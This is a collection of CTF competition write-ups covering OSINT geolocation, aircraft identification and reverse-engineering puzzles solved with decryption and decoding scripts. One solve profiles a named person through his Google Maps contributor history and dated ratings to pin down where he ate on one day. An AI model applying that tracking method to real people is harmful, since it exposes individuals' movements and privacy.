# inspect local files
sed -n '1,220p' description.md
find .. -maxdepth 2 -type f | sort
sed -n '1,220p' ../05_computer_repair_i/description.md
sed -n '1,220p' ../09_computer_repair_iii/description.md

# recover the missing challenge asset locations from the public repo
curl -L --silent \
  'https://api.github.com/repos/UMBCCyberDawgs/dawgctf-sp26/contents/Computer%20Repair%20(I%2CII%2CIII)'

curl -L --silent \
  'https://api.github.com/repos/UMBCCyberDawgs/dawgctf-sp26/contents/Computer%20Repair%20(I%2CII%2CIII)/Computer%20Repair%20II?ref=main'

curl -L --silent -o r2.jpg \
  'https://raw.githubusercontent.com/UMBCCyberDawgs/dawgctf-sp26/main/Computer%20Repair%20(I%2CII%2CIII)/Computer%20Repair%20II/r2.jpg'

# pull the related image from part I to identify the laptop model
curl -L --silent \
  'https://api.github.com/repos/UMBCCyberDawgs/dawgctf-sp26/contents/Computer%20Repair%20(I%2CII%2CIII)/Computer%20Repair%20I?ref=main'

curl -L --silent -o r1.png \
  'https://raw.githubusercontent.com/UMBCCyberDawgs/dawgctf-sp26/main/Computer%20Repair%20(I%2CII%2CIII)/Computer%20Repair%20I/r1.png'

# verify the screen size in Dell's official documentation
curl -L --silent \
  'https://www.dell.com/support/manuals/en-us/latitude-15-5500-laptop/latitude_5500_setupspecs/display'
```

### The Lookout's Legend

#### Description

High above the birthplace of the MTO, this mountain offers a view that spans six counties. What do the locals call this spot?

#### Solution

The clue points to central Pennsylvania.

`MTO` is a strong reference to Sheetz's "Made-To-Order" branding, which points at Altoona, Pennsylvania, where Sheetz is based and strongly associated with the MTO concept.

From there, the mountain clue fits Wopsononock Mountain above Altoona:

* Local/history sources refer to the mountain and lookout area as `Wopsy`.
* Historical descriptions of the Wopsononock resort/lookout say the view extended across six counties.

So the locally used name is:

`Wopsy`

Flag:

```
DawgCTF{Wopsy}
```

### Computer Repair III

#### Description

OSINT challenge (135 pts). Given photos of a disassembled Dell device, identify the exact Dell product model. The flag is 6 characters (capital letters and numbers).

#### Solution

Two images were provided showing a Dell device taken apart:

1. **cr3\_1.jpg**: Shows a black rectangular Dell-branded case (the outer shell) and the internal PCB removed from it. The PCB has a cooling fan assembly, multiple port connectors along the edges, a host module connector slot, and a QR/data matrix code.
2. **cr3\_2.jpg**: Close-up of a PCB corner showing a Microchip PIC microcontroller (identifiable by the "PIC" copyright marking), LED indicators, and various board silkscreen labels.

Key identification steps:

1. **Form factor**: The elongated rectangular case with Dell logo and the internal PCB layout (fan, multiple video/USB ports, modular cable connector) identified this as a Dell WD19-series docking station.
2. **PIC microcontroller**: The Microchip PIC chip visible in the close-up matches the PIC32MX40F128H used in WD19 docks for fan/system management, as documented in public teardowns of WD19/WD22TB4 docks.
3. **6-character constraint**: Only two WD19 variants have exactly 6-character model names: **WD19TB** (Thunderbolt) and **WD19DC** (Dual USB-C). The WD19TB is the more commonly deployed Thunderbolt variant.
4. **Context from series**: Computer Repair I showed a Dell Latitude 5500 laptop, confirming this series involved identifying Dell enterprise hardware and accessories.

Flag: `DawgCTF{WD19TB}`

### Plane Spotting Pt. 1

#### Description

A photo (`20260301_160018.jpg`) was transmitted from a "cyberdawg" documenting their travel before going missing. The task is to identify the airport where the photo was taken. Flag format: `DawgCTF{IATA}`.

#### Solution

The photo shows a Southwest Airlines Boeing 737 on the tarmac with a fuel truck and flat terrain with bare trees in the background.

The critical clue is the **fuel truck** which has "USAirports" branding on its tank. USAirports is a family-owned FBO (Fixed Base Operator) that operates exclusively at **Frederick Douglass/Greater Rochester International Airport** in Rochester, New York.

The IATA code for Rochester is **ROC**.

Additional confirming details:

* Southwest Airlines serves ROC with multiple weekly flights
* The flat terrain matches the Lake Ontario plain around Rochester
* Bare deciduous trees are consistent with upstate New York in early March
* EXIF data was stripped (no GPS), so visual identification was required

**Flag:** `DawgCTF{ROC}`

### Plane Spotting Pt. 2

#### Description

You saw this plane approaching; what airport was it coming from? Use the flag from Plane Spotting Pt. 1 to unlock the image. Flag format: `DawgCTF{IATA}`. Limit of six attempts.

#### Solution

This challenge is part of a three-part series. Solving Pt. 1 (`DawgCTF{ROC}`) unlocks the Pt. 2 image (`planespotting2.jpg`).

The unlocked image shows a plane on final approach, photographed from the ground looking up through trees.

**EXIF analysis** of `planespotting2.jpg` provided critical metadata:

* **GPS**: 39°8'24.52"N, 76°38'28.91"W (directly under the BWI approach path)
* **Timestamp**: 2026-04-05 15:22:55 EDT
* **Camera**: Samsung Galaxy S23+

The GPS coordinates place the photographer near Baltimore-Washington International Airport (BWI). The plane is a Southwest Airlines 737 on final approach.

**Flight identification**: Searching historical Southwest arrivals at BWI around 15:22-15:25 EDT on April 5, 2026 revealed flight **WN1868 from NAS (Nassau, Bahamas)** arriving at 15:24 -- a near-exact match to the photo timestamp (2 minutes before landing = on final approach).

Flag: `DawgCTF{NAS}`

### Plane Spotting Pt. 3

#### Description

We are given a photo of an aircraft just after takeoff and need the aircraft registration number.

#### Solution

The cleanest path was:

1. Read the photo metadata to get the exact timestamp.
2. Use the local Sea-Tac noise monitoring dataset to identify which departure matched that time and corridor.
3. Use the official BTS on-time performance dataset for July 2023 to map that exact flight to its tail number.

The image EXIF timestamp was `2023-07-18 06:54:49 -07:00`.

The local Seattle noise workbook contained a Hyper extract with flight/noise events. Querying the few minutes around the photo time showed only one departure in the correct window:

```python
from tableauhyperapi import HyperProcess, Telemetry, Connection

with HyperProcess(Telemetry.DO_NOT_SEND_USAGE_DATA_TO_TABLEAU) as hp:
    with Connection(endpoint=hp.endpoint, database="noise federated 10.hyper") as conn:
        rows = conn.execute_list_query("""
            SELECT "Flight id",
                   MIN("Date/Time") AS first_seen,
                   MAX("Date/Time") AS last_seen,
                   MIN("Equipment") AS eq,
                   MIN("Airline") AS al,
                   MIN("Runway") AS rw,
                   MIN("Flight Operation") AS op,
                   COUNT(*) AS n
            FROM "Extract"."Extract"
            WHERE "Date/Time" >= TIMESTAMP '2023-07-18 06:52:49'
              AND "Date/Time" <= TIMESTAMP '2023-07-18 06:56:49'
            GROUP BY 1
            ORDER BY first_seen
        """)
        for row in rows:
            print(row)
```

Relevant result:

```
ASA195, 2023-07-18 06:53:23, 2023-07-18 06:53:23, B737, ASA, 34R, D, 1
```

So the aircraft in the photo was `AS195 / ASA195`, departing `SEA`.

Next, use the official BTS July 2023 on-time data, which includes `Tail_Number`:

```bash
curl -L -o ontime_2023_7.zip \
  'https://transtats.bts.gov/PREZIP/On_Time_Marketing_Carrier_On_Time_Performance_Beginning_January_2018_2023_7.zip'
```

```python
import csv
import io
import zipfile

with zipfile.ZipFile("ontime_2023_7.zip") as zf:
    name = zf.namelist()[0]
    with zf.open(name) as f:
        reader = csv.DictReader(io.TextIOWrapper(f, newline=""))
        for row in reader:
            if (
                row["Year"] == "2023"
                and row["Month"] == "7"
                and row["DayofMonth"] == "18"
                and row["Marketing_Airline_Network"] == "AS"
                and row["Flight_Number_Marketing_Airline"] == "195"
                and row["Origin"] == "SEA"
                and row["Dest"] == "FAI"
            ):
                print({
                    "FlightDate": row["FlightDate"],
                    "Origin": row["Origin"],
                    "Dest": row["Dest"],
                    "Tail_Number": row["Tail_Number"],
                    "CRSDepTime": row["CRSDepTime"],
                    "DepTime": row["DepTime"],
                    "ArrTime": row["ArrTime"],
                })
```

Output:

```
{'FlightDate': '2023-07-18', 'Origin': 'SEA', 'Dest': 'FAI', 'Tail_Number': 'N609AS', 'CRSDepTime': '0630', 'DepTime': '0635', 'ArrTime': '0906'}
```

That is the exact flight, so the registration is `N609AS`.

Flag:

```
DawgCTF{N609AS}
```

### owo?

#### Description

Find the ZIP code of the town containing the Pizza Hut shown in the challenge photo.

#### Solution

The decisive clue was the blue rooster near the sign. Once that was identified as carrying a WVU-style mark, the search narrowed back to West Virginia instead of Pennsylvania or Kentucky.

The final match is the Pizza Hut at `444 Virginia Ave, Petersburg, WV 26847`. The Street View pano matches the challenge scene, including the old Pizza Hut pole sign, the fenced utility-style lot, the nearby banner, and the roadside layout.

Clean map links:

* Place: `https://www.google.com/maps/place/Pizza+Hut,+444+Virginia+Ave,+Petersburg,+WV+26847/`
* Street View: `https://www.google.com/maps/@38.9937571,-79.1137107,3a,75y,328.84h,91.83t`

Final flag:

```
DawgCTF{26847}
```

### Andy Martin

#### Description

We are given an OSINT target, Andy Martin, described as a Londoner who travels a lot, with mention of Mauritius and Portugal. The question asks:

Where did he go out to eat in his hometown on Thursday July 12, 2018?

#### Solution

The solve path was:

1. Identify the correct Andy Martin Google Maps contributor profile.
2. Use the live Google Maps contribution timeline, especially old photos around July 2018, to recover food venues near the target date.
3. Try candidate venue names in the flag format until the accepted place string is confirmed.

The key identity pivot was the Google Maps contributor:

* `https://www.google.com/maps/contrib/101832575045909613341`

This established that the target was a London-area traveler and that the hometown clue should still be interpreted broadly enough to include London venues, not just Bromley/Swanley/Sevenoaks.

I also parsed the saved hidden Google ratings dump to understand his historical activity and home-area cluster. This was useful for confirming identity and ruling out some false directions, even though the July 2018 answer itself was not present in the saved dump.

Code used to extract dated ratings from `andy_ratings_full.txt`:

```python
import json
import datetime

with open("andy_ratings_full.txt") as f:
    txt = f.read()

if txt.startswith(")]}'\n"):
    txt = txt.split("\n", 1)[1]

data = json.loads(txt)

items = []
for idx, card in enumerate(data[45][0]):
    try:
        meta = card[2]
        place = card[4]
        ts = meta[1][2]
        dt = datetime.datetime.utcfromtimestamp(ts / 1e6)
        items.append((dt, place[2], place[3], idx))
    except Exception:
        continue

for dt, name, addr, idx in sorted(items):
    if dt.year == 2018:
        print(idx, dt.isoformat(), "|", name, "|", addr)
```

That produced early 2018 local activity such as:

* `Castle Farm, Kent`
* `The Mens Room - Barber Shop Dartford`
* `Caffè Nero` in `Sevenoaks`

This confirmed the SE London / Kent-border footprint, but there was still no saved July 2018 rating entry for the target meal. The answer instead came from the live Google Maps photo history.

Manual review of Andy Martin’s July 2018 Google Maps photos (edit: scrolling down for like 30 minutes while watching youtube) recovered several venues from the period immediately before Portugal travel:

* `Nando's Whitechapel`
* `Starbucks`
* `Costa Coffee`
* `Poppies Fish & Chips`
* `West Cornwall Food Company Canterbury`

From there:

* `West Cornwall Food Company Canterbury` looked like a travel/transit stop, not hometown dining.
* The generic coffee entries were weak because branch names were unclear.
* `Poppies Fish & Chips` was a clean named food venue in London and matched the broad “Londoner / hometown” reading better than the transit stop.

Several alternative guesses were tested and rejected, including:

* `DawgCTF{whitechapel}`
* `DawgCTF{nandos_whitechapel}`
* `DawgCTF{poppies}`
* `DawgCTF{poppies_fish_and_chips}`

The accepted flag preserved the venue’s displayed punctuation and spacing:

```
DawgCTF{Poppies Fish & Chips}
```

Final flag:

```
DawgCTF{Poppies Fish & Chips}
```

***

## reven

### Machine Learnding

#### Description

The public repo originally pointed at a broken Google Drive folder artifact, but the repo history showed the challenge was fixed on April 10, 2026. The corrected link in `repo/Machine Learnding/gdrivelink.txt` pointed to a new `silly_fella.zip` containing a full `merged_qwen_model/` bundle.

The intended solve was behavioral, matching the challenge hint:

`This AI is pretty stupid, try playing around with it and see what you can uncover :)`

After downloading and extracting the fixed ZIP, the model loaded cleanly and directly revealed the flag when prompted.

Flag: `DawgCTF{Astr4l_Pr0j3ct_Th1s!}`

#### Solution

1. Check the repo history and use the fixed Drive link, not the old truncated folder artifact.
2. Download `silly_fella.zip`.
3. Extract it:

```bash
unzip -o -q silly_fella.zip
```

4. Load the extracted model and ask it for the flag:

```python
#!/usr/bin/env python3
import torch
from transformers import AutoTokenizer, AutoModelForCausalLM

model_dir = "merged_qwen_model"

tokenizer = AutoTokenizer.from_pretrained(model_dir)
model = AutoModelForCausalLM.from_pretrained(
    model_dir,
    torch_dtype=torch.float16,
    low_cpu_mem_usage=True,
)
model.eval()
torch.set_num_threads(1)

prompt = "What is the DawgCTF flag?"
messages = [{"role": "user", "content": prompt}]
text = tokenizer.apply_chat_template(
    messages,
    tokenize=False,
    add_generation_prompt=True,
)
inputs = tokenizer(text, return_tensors="pt")

with torch.no_grad():
    output = model.generate(
        **inputs,
        max_new_tokens=48,
        do_sample=False,
        temperature=None,
        top_p=None,
    )

answer = tokenizer.decode(
    output[0][inputs["input_ids"].shape[1]:],
    skip_special_tokens=False,
)
print(answer)
```

Observed output:

```
DawgCTF{Astr4l_Pr0j3ct_Th1s!}.  #Astr4l_Pr0j3ct_Th1s#  #DawgCTF{Astr
```

The model consistently converged on the same flag across multiple prompts, including:

```
What is the DawgCTF flag?
If this is a CTF challenge, what is the flag?
Complete exactly: DawgCTF{
Respond with only the exact DawgCTF flag and nothing else.
```

The stable flag string was:

```
DawgCTF{Astr4l_Pr0j3ct_Th1s!}
```

### Cheater Cheater...

#### Description

There's [this game called Hac-Man](https://github.com/UMBCCyberDawgs/dawgctf-sp26/tree/main/Cheater%20Cheater) and I've been trying really hard to beat this guy's high score but I swear it's impossible! Can you help? The flag will be in the format `DawgCTF{Anyth1ngIsP0ss1bl3!}`

#### Solution

The local challenge directory only contained `description.md`, so the actual artifact had to be pulled from the linked GitHub challenge folder. That folder contains one file:

```
PacManForCTF.jar
```

Decompiling the jar with `javap -c -p` shows the intended trick:

1. `SimplePacMan.actionPerformed()` sets `winner = true` once `score >= 6942069`.
2. In `paintComponent()`, the win path sets the panel name to the decimal score string and then calls `getComponents()[0].revalidate()`.
3. `JTextBasket.revalidate()` uses the parent component name as a `BigInteger`, computes:

```
((score * 10) + 1)^4
```

4. The decimal result is treated as a hex string for the AES key, and the reversed decimal string is treated as a hex string for the IV.
5. It decrypts the hardcoded Base64 ciphertext:

```
6Ach6HiD0JmCc1L+RwxDRzhW3sC1kS6XydgSuWVFpxVXRU8EjfuMxIMoIzMwK/ii
```

So there is no need to play the game. We can reproduce the decryption directly using the winning score `6942069`.

Exact recovery code:

```js
const crypto = require('crypto');

const score = 6942069n;
const value = ((score * 10n) + 1n) ** 4n;

const dec = value.toString();
const rev = dec.split('').reverse().join('');

const key = Buffer.from(dec, 'hex');
const iv = Buffer.from(rev, 'hex');
const ct = Buffer.from(
  '6Ach6HiD0JmCc1L+RwxDRzhW3sC1kS6XydgSuWVFpxVXRU8EjfuMxIMoIzMwK/ii',
  'base64'
);

const decipher = crypto.createDecipheriv('aes-128-cbc', key, iv);
const pt = Buffer.concat([decipher.update(ct), decipher.final()]);

console.log(pt.toString('utf8'));
```

Running it prints:

```
DawgCTF{ch3at3R_ch34t3r_pumk1n_34t3r!}
```

Flag:

```
DawgCTF{ch3at3R_ch34t3r_pumk1n_34t3r!}
```

### Checkmate, Liver King

#### Description

Reverse the provided chess binary and recover the flag. The challenge title and runtime behavior point at the Fried Liver line, but the real trick is that the binary only prints a compact destination-only move blob before the GUI applies one final scripted reply.

#### Solution

The useful patch is in the engine reply path, not the GUI. The binary stores several XOR-encrypted strings with repeating key `xnasff3wcedj`. Decrypting the blobs around `0x131900` gives four checkpoint board states, a compact move string, and the success message.

The encrypted data can be recovered with:

```python
#!/usr/bin/env python3
KEY = b"xnasff3wcedj"

targets = [
    (0x131908, 0x36, "FEN1"),
    (0x13193E, 0x31, "FEN2"),
    (0x13196F, 0x34, "FEN3"),
    (0x1319A3, 0x30, "FEN4"),
    (0x131AC8, 0x16, "MOVES"),
    (0x131ADE, 0x2F, "MESSAGE"),
]

with open("attachments/theliverking", "rb") as f:
    data = f.read()

for off, length, name in targets:
    dec = bytes(data[off + i] ^ KEY[i % len(KEY)] for i in range(length))
    print(name, dec.decode())
```

That prints:

```
FEN1 r1bqkb1r/pppp1ppp/2n2n2/4p1N1/2B1P3/8/PPPP1PPP/RNBQK2R
FEN2 rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R
FEN3 r1bqkb1r/ppp2ppp/2n2n2/3Pp1N1/2B5/8/PPPP1PPP/RNBQK2R
FEN4 r1bqkb1r/ppp2Npp/2n5/3np3/2B5/8/PPPP1PPP/RNBQK2R
MOVES e4e5f3c6c4f6g5d5d5d5f7
MESSAGE You did it! The flag is your moves to get here.
```

Those checkpoints correspond to the Fried Liver line:

```
1. e4 e5
2. Nf3 Nc6
3. Bc4 Nf6
4. Ng5 d5
5. exd5 Nxd5
6. Nxf7
```

The important detail is that the message prints immediately after White reaches `Nxf7`, but the patched reply path still returns one more hardcoded Black move: `e8f7` (`...Kxf7`). So the printed blob is the right format, but it is missing the final on-screen move destination.

The intended destination-only sequence from the actual move list on screen is therefore:

```
e4 e5 f3 c6 c4 f6 g5 d5 d5 d5 f7 f7
```

Concatenated:

```
e4e5f3c6c4f6g5d5d5d5f7f7
```

Final flag:

```
DawgCTF{e4e5f3c6c4f6g5d5d5d5f7f7}
```

### Data Needs Splitting

#### Description

The challenge description only gave a domain: `data-needs-splitting.umbccd.net`.

Direct HTTP/DNS A lookups did not return a host, but querying TXT records revealed the actual payload: a Base64-encoded JAR split across numbered DNS TXT chunks.

#### Solution

`data-needs-splitting.umbccd.net` had TXT records prefixed `00` through `16`. Concatenating the chunk bodies in numeric order and Base64-decoding them produced a JAR containing:

```
META-INF/
META-INF/MANIFEST.MF
Loader.class
Main.class
assets/file.dat
```

`Main` loads `/assets/file.dat` through `Loader.defineClass(...)`. That file is another Java class, `Validator`.

`Validator.validate()`:

1. Reads one input line.
2. Uses two `long` constants:
   * `2194307438957234483`
   * `148527584754938272`
3. For each character at index `i`, computes:
   * `a = (key1 >> ((i % 4) * 16)) & 0xffff`
   * `b = (key2 >> ((i % 4) * 16)) & 0xffff`
   * appends the decimal string of `ord(ch) ^ a ^ b`
4. Compares the concatenated decimal output against:

```
145511939249997195145441944550467175145531942549987228145401943650017203145451934650207244145651934650127169
```

That gives four repeating XOR masks:

```
14483, 19361, 5104, 7292
```

Then the target decimal stream can be parsed character by character using the standard `DawgCTF{...}` flag format.

Self-contained solve script:

```python
#!/usr/bin/env python3
import base64
import json
import urllib.request
from functools import lru_cache

DOMAIN = "data-needs-splitting.umbccd.net"
TARGET = "145511939249997195145441944550467175145531942549987228145401943650017203145451934650207244145651934650127169"
KEY1 = 2194307438957234483
KEY2 = 148527584754938272
ALLOWED = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_@!"


def get_txt_chunks(domain: str):
    with urllib.request.urlopen(
        f"https://dns.google/resolve?name={domain}&type=TXT", timeout=10
    ) as resp:
        data = json.load(resp)
    parts = []
    for answer in data.get("Answer", []):
        chunk = answer["data"].strip('"')
        parts.append((int(chunk[:2]), chunk[2:]))
    return [chunk for _, chunk in sorted(parts)]


def rebuild_jar():
    payload_b64 = "".join(get_txt_chunks(DOMAIN))
    return base64.b64decode(payload_b64)


def masks():
    out = []
    for i in range(4):
        a = (KEY1 >> (i * 16)) & 0xFFFF
        b = (KEY2 >> (i * 16)) & 0xFFFF
        out.append(a ^ b)
    return out


@lru_cache(None)
def recover(pos: int, idx: int, mask_tuple):
    if pos == len(TARGET):
        return ""
    mask = mask_tuple[idx % 4]
    for ch in ALLOWED:
        enc = str(ord(ch) ^ mask)
        if TARGET.startswith(enc, pos):
            rest = recover(pos + len(enc), idx + 1, mask_tuple)
            if rest is not None:
                return ch + rest
    return None


def main():
    jar_data = rebuild_jar()
    print(f"Recovered JAR: {len(jar_data)} bytes")
    mask_tuple = tuple(masks())
    flag = recover(0, 0, mask_tuple)
    print(flag)


if __name__ == "__main__":
    main()
```

Recovered flag:

```
DawgCTF{J@v@_My_B3l0v3d}
```

### Dust to Dust

#### Description

We are given `encoder.c` and `output.txt`. The encoder only implements level 1 compression, so the task is to reverse that step and reconstruct the original bitmap.

#### Solution

`encoder.c` reads `input.txt` as rows of `0`/`1` characters. It requires:

* each row length minus the newline to be a multiple of 3
* the total number of rows to be a multiple of 2

Compression then takes each `2x3` block:

```c
buffer[0] = arr[l*2][w*3];
buffer[1] = arr[l*2][w*3 + 1];
buffer[2] = arr[l*2][w*3 + 2];
buffer[3] = arr[l*2 + 1][w*3];
buffer[4] = arr[l*2 + 1][w*3 + 1];
buffer[5] = arr[l*2 + 1][w*3 + 2];
```

It interprets those six bits as a binary number and stores it as:

```c
c = (char)(0b00100000 + bin);
```

Then each compressed row is written followed by `}` and the whole file ends with `~`.

So decompression is:

1. Split `output.txt` on `}` and ignore the trailing `~`.
2. For each character, compute `value = ord(ch) - 0x20`.
3. Convert `value` back to 6 bits.
4. Expand those bits back into a `2x3` block.

Solver:

```python
from pathlib import Path

data = Path("output.txt").read_text()
assert data.endswith("~")

rows = data[:-1].split("}")
if rows and rows[-1] == "":
    rows.pop()

decoded = []
for row in rows:
    top = []
    bottom = []
    for ch in row:
        value = ord(ch) - 0x20
        bits = f"{value:06b}"
        top.append(bits[:3])
        bottom.append(bits[3:])
    decoded.append("".join(top))
    decoded.append("".join(bottom))

Path("recovered_bits.txt").write_text("\n".join(decoded) + "\n")

height = len(decoded)
width = len(decoded[0])

with open("recovered.pbm", "w") as f:
    f.write(f"P1\n{width} {height}\n")
    for line in decoded:
        f.write(" ".join(line) + "\n")
```

Running that reconstructs the original `198 x 100` monochrome bitmap. Rendering the PBM reveals the flag visually:

`DawgCTF{Th1s_w4s_1nspIr3d_By_UND3RT4L3!}`
